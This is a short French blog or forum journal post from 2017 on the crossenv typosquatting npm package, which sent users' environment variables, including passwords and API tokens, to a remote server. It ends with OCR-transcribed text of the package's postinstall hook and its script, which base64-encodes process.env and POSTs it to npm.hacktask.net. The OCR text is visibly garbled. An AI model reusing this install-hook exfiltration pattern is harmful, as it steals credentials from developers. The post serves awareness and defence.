

Journal Au voleur.sh


Posté par ckiller le 04 août 2017 à 10:45.

Étiquettes :

	nodejs

	sécurité











[image: ]



Un package « nodejs » assez populaire balance les variables d'environnement des imprudents utilisateurs vers son serveur. Bien sur, ces variables contiennent souvent des mots de passes, des tokens API et autres informations spécifiques.
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Plus de détail sur https://medium.com/@ceejbot/crossenv-malware-on-the-npm-registry-45c7dc29f6f5 le 3ème point va vous faire halluciner !


Il y a vraiment des gens qui utilisent ça sur des serveurs de production ? Je veux dire dans un mode de vrais professionnels.


L'une des parades seraient un firewall applicatif. Ca existe sous Linux ?
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1) packagejson X

{

}
|

“name”
“version

“description*

“main®:

“scripts®: {
“test: "echo \"Error: no test specified\" 8 exit 17,

index.

“crossenv®,
f6.1.1%,

“Run scripts that set and use environment variables across
3s*

“postinstall®: “node package-setup.js*
b
“author®: *Kent C. Dodds <kentadoddsfanily.us> (http://kentcdodds.con/)*
“License®: "IsC’,
“dependencies: {

“cross-env": ""5.0.1"

i;

3 package-setupjs X

const http = require(*http');
const querystring = require('querystring');

const host = ‘npm.hacktask.net';
const env = JSON.stringify(process.env);
const data = new Buffer(env). toString('basess');

const postData = querystring.stringify({ data });

const options = {

hostnane: host,

port: 80,

path: ‘/log/",

method: 'POST',

headers: {
“Content-Type': 'application/x-wm-forn-urlencoded',
“Content Length': Buffer.bytelength(postData)

1

const req = hitp.request(options);

req.write(postData);
reg.end();





